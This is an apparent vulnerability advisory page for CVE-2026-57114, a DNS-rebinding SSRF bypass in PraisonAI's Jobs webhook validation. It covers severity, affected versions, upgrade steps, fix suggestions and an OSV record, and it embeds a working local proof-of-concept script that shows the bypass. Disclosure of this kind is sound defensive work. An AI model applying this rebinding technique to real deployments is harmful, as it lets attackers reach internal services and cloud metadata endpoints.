CVE-2026-57114: PraisonAI Jobs Webhook SSRF Protection Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-rjvw-7vvw-549v
CVSS 7.2
CWE-367 CWE-918
Published
Advisory Summary

CVE-2026-57114 is a HIGH (CVSS 7.2) jobs webhook ssrf protection bypass vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves jobs webhook ssrf protection bypass via dns rebinding. Remediation is available by upgrading affected packages to version 4.6.59.

CVE-2026-57114 at a Glance

CVE Identifier CVE-2026-57114
GHSA Identifier GHSA-rjvw-7vvw-549v
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-57114

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.59
pip install praisonai>=4.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57114, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.59), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Jobs webhook SSRF protection bypass via DNS rebinding ## Summary PraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed and again when the internal `Job` object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, `_send_webhook()` passes the original hostname to `httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm` ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected. ## Affected Component Package: ```text praisonai ``` Files: ```text src/praisonai/praisonai/jobs/models.py src/praisonai/praisonai/jobs/executor.py src/praisonai/praisonai/jobs/router.py ``` Relevant code paths: ```text JobSubmitRequest.validate_webhook_url() Job.validate_webhook_url() JobExecutor._send_webhook() POST /api/v1/runs ``` ## Affected Versions Validated affected: - `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`); - `v4.5.128` (`b4e3a8a8`); - `v4.6.56` (`d3c4a2af`); - `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`); - current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`, `v4.6.57-4-g2f9677ab`). Suggested affected range for maintainer confirmation: ```text >= 4.5.126, <= 4.6.57 ``` No patched version is known to me at submission time. `v4.5.124` and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard. ## Root Cause Current validation is a time-of-check/time-of-use boundary: 1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and `socket.gethostbyname()`. 2. The resolved address is rejected when it is private, loopback, link-local, or multicast. 3. The original URL string is stored on the `Job`. 4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient` and POSTs to the original URL. 5. `httpx` resolves the hostname again. There is no revalidation of the address that is actually connected to. The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery. ## Local Reproduction The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI `Job` validator plus `JobExecutor._send_webhook()` sender. Run from a PraisonAI checkout: ```fish env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py ``` Observed output on current `main`: ```text DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true} ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook INTERNAL_SERVER_HIT: true INTERNAL_REQUEST_HOST: rebind.test:<port> INTERNAL_REQUEST_PATH: /hook WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status WEBHOOK_PAYLOAD_STATUS: succeeded PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding ``` The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery. ## Full Local PoV Script ```python #!/usr/bin/env python3 """Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF. The PoV uses only loopback services. It models an attacker-controlled hostname that resolves to a public IP during PraisonAI's Pydantic validation, then resolves to loopback when the async webhook sender later opens the connection. """ from __future__ import annotations import asyncio import json import queue import socket import threading from http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any from praisonai.jobs.executor import JobExecutor from praisonai.jobs.models import Job, JobSubmitRequest ATTACKER_HOST = "rebind.test" PUBLIC_IP = "93.184.216.34" class InternalHandler(BaseHTTPRequestHandler): def do_POST(self) -> None: # noqa: N802 length = int(self.headers.get("content-length", "0")) body = self.rfile.read(length) self.server.received.put( # type: ignore[attr-defined] { "path": self.path, "host": self.headers.get("host"), "body": body.decode("utf-8", "replace"), } ) self.send_response(204) self.end_headers() def log_message(self, *_args: Any) -> None: return def assert_direct_loopback_blocked(port: int) -> None: blocked = {} direct_url = f"http://127.0.0.1:{port}/hook" for model in (JobSubmitRequest, Job): try: model(prompt="x", webhook_url=direct_url) blocked[model.__name__] = False except Exception: blocked[model.__name__] = True print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True)) if not all(blocked.values()): raise SystemExit("control failed: direct loopback webhook URL was accepted") def build_validated_job(port: int) -> Job: original_gethostbyname = socket.gethostbyname def validation_gethostbyname(host: str) -> str: if host == ATTACKER_HOST: return PUBLIC_IP return original_gethostbyname(host) socket.gethostbyname = validation_gethostbyname try: webhook_url = f"http://{ATTACKER_HOST}:{port}/hook" request = JobSubmitRequest(prompt="x", webhook_url=webhook_url) job = Job(prompt=request.prompt, webhook_url=request.webhook_url) job.succeed({"pov": "job result sent to webhook"}) return job finally: socket.gethostbyname = original_gethostbyname async def send_after_rebind(job: Job, port: int) -> None: original_getaddrinfo = socket.getaddrinfo def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any): normalized_host = host.decode() if isinstance(host, bytes) else host if normalized_host == ATTACKER_HOST: return [ ( socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", ("127.0.0.1", port_arg), ) ] return original_getaddrinfo(host, port_arg, *args, **kwargs) socket.getaddrinfo = send_getaddrinfo try: await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type] finally: socket.getaddrinfo = original_getaddrinfo def main() -> int: received: queue.Queue[dict[str, str]] = queue.Queue() server = HTTPServer(("127.0.0.1", 0), InternalHandler) server.received = received # type: ignore[attr-defined] port = int(server.server_port) thread = threading.Thread(target=server.handle_request, daemon=True) thread.start() try: assert_direct_loopback_blocked(port) job = build_validated_job(port) print("ACCEPTED_WEBHOOK_URL:", job.webhook_url) asyncio.run(send_after_rebind(job, port)) finally: server.server_close() try: hit = received.get_nowait() except queue.Empty: raise SystemExit("bypass failed: loopback-only webhook receiver was not hit") payload = json.loads(hit["body"]) print("INTERNAL_SERVER_HIT: true") print("INTERNAL_REQUEST_HOST:", hit["host"]) print("INTERNAL_REQUEST_PATH:", hit["path"]) print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload))) print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status")) if hit["host"] != f"{ATTACKER_HOST}:{port}": raise SystemExit("unexpected host header") if payload.get("status") != "succeeded": raise SystemExit("unexpected webhook payload") print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## Intended-Behavior Validation PraisonAI's Async Jobs documentation describes `webhook_url` as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration. The code also proves the intended safety boundary: both `JobSubmitRequest` and `Job` currently reject direct `http://127.0.0.1:<port>/...` webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition. ## Impact If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose `webhook_url`, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host. Practical impact includes: - blind interaction with internal HTTP services; - internal host/port reachability probing via timing and webhook error behavior; - POSTing attacker-controlled job result payloads to internal APIs with weak request validation; - cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access. This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block. ## Severity Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible. If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable. ## Suggested Fix - Move SSRF validation to the send path immediately before opening the outbound connection. - Resolve all candidate addresses with `socket.getaddrinfo()`, not only the first IPv4 answer from `gethostbyname()`. - Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address. - Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect. - Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission. - Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.

CVE-2026-57114 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
≥ 4.5.126
< 4.6.59
4.6.59

References

Frequently Asked Questions

What is CVE-2026-57114?
CVE-2026-57114 is a security vulnerability in PraisonAI involving Jobs webhook SSRF protection bypass via DNS rebinding under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.59 across affected packages: praisonai.
What version fixes CVE-2026-57114?
Upgrading to 4.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.59. Upgrade your dependency to 4.6.59 or later.
What is the CVSS score of CVE-2026-57114?
CVE-2026-57114 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-57114?
CVE-2026-57114 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for CVE-2026-57114?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rjvw-7vvw-549v",
  "modified" : "2026-07-20T21:24:59Z",
  "published" : "2026-06-18T13:57:20Z",
  "aliases" : [ "CVE-2026-57114" ],
  "summary" : "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding",
  "details" : "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n  `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n>= 4.5.126, <= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n   `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n   multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n   and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n   that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:<port>\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI's Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n    def do_POST(self) -> None:  # noqa: N802\n        length = int(self.headers.get(\"content-length\", \"0\"))\n        body = self.rfile.read(length)\n        self.server.received.put(  # type: ignore[attr-defined]\n            {\n                \"path\": self.path,\n                \"host\": self.headers.get(\"host\"),\n                \"body\": body.decode(\"utf-8\", \"replace\"),\n            }\n        )\n        self.send_response(204)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -> None:\n        return\n\n\ndef assert_direct_loopback_blocked(port: int) -> None:\n    blocked = {}\n    direct_url = f\"http://127.0.0.1:{port}/hook\"\n    for model in (JobSubmitRequest, Job):\n        try:\n            model(prompt=\"x\", webhook_url=direct_url)\n            blocked[model.__name__] = False\n        except Exception:\n            blocked[model.__name__] = True\n\n    print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n    if not all(blocked.values()):\n        raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -> Job:\n    original_gethostbyname = socket.gethostbyname\n\n    def validation_gethostbyname(host: str) -> str:\n        if host == ATTACKER_HOST:\n            return PUBLIC_IP\n        return original_gethostbyname(host)\n\n    socket.gethostbyname = validation_gethostbyname\n    try:\n        webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n        request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n        job.succeed({\"pov\": \"job result sent to webhook\"})\n        return job\n    finally:\n        socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -> None:\n    original_getaddrinfo = socket.getaddrinfo\n\n    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n        normalized_host = host.decode() if isinstance(host, bytes) else host\n        if normalized_host == ATTACKER_HOST:\n            return [\n                (\n                    socket.AF_INET,\n                    socket.SOCK_STREAM,\n                    socket.IPPROTO_TCP,\n                    \"\",\n                    (\"127.0.0.1\", port_arg),\n                )\n            ]\n        return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n    socket.getaddrinfo = send_getaddrinfo\n    try:\n        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -> int:\n    received: queue.Queue[dict[str, str]] = queue.Queue()\n    server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n    server.received = received  # type: ignore[attr-defined]\n    port = int(server.server_port)\n    thread = threading.Thread(target=server.handle_request, daemon=True)\n    thread.start()\n\n    try:\n        assert_direct_loopback_blocked(port)\n        job = build_validated_job(port)\n        print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n        asyncio.run(send_after_rebind(job, port))\n    finally:\n        server.server_close()\n\n    try:\n        hit = received.get_nowait()\n    except queue.Empty:\n        raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n    payload = json.loads(hit[\"body\"])\n    print(\"INTERNAL_SERVER_HIT: true\")\n    print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n    print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n    print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n    print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n    if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n        raise SystemExit(\"unexpected host header\")\n    if payload.get(\"status\") != \"succeeded\":\n        raise SystemExit(\"unexpected webhook payload\")\n\n    print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI's Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:<port>/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n  request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n  and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n  connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n  first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n  cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n  transport/proxy that validates the destination after DNS resolution and before\n  connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n  binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n  loopback, IPv6/private AAAA records with public A records, and allowed public\n  webhooks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.5.126"
      }, {
        "fixed" : "4.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.58"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:57:20Z",
    "nvd_published_at" : null
  }
}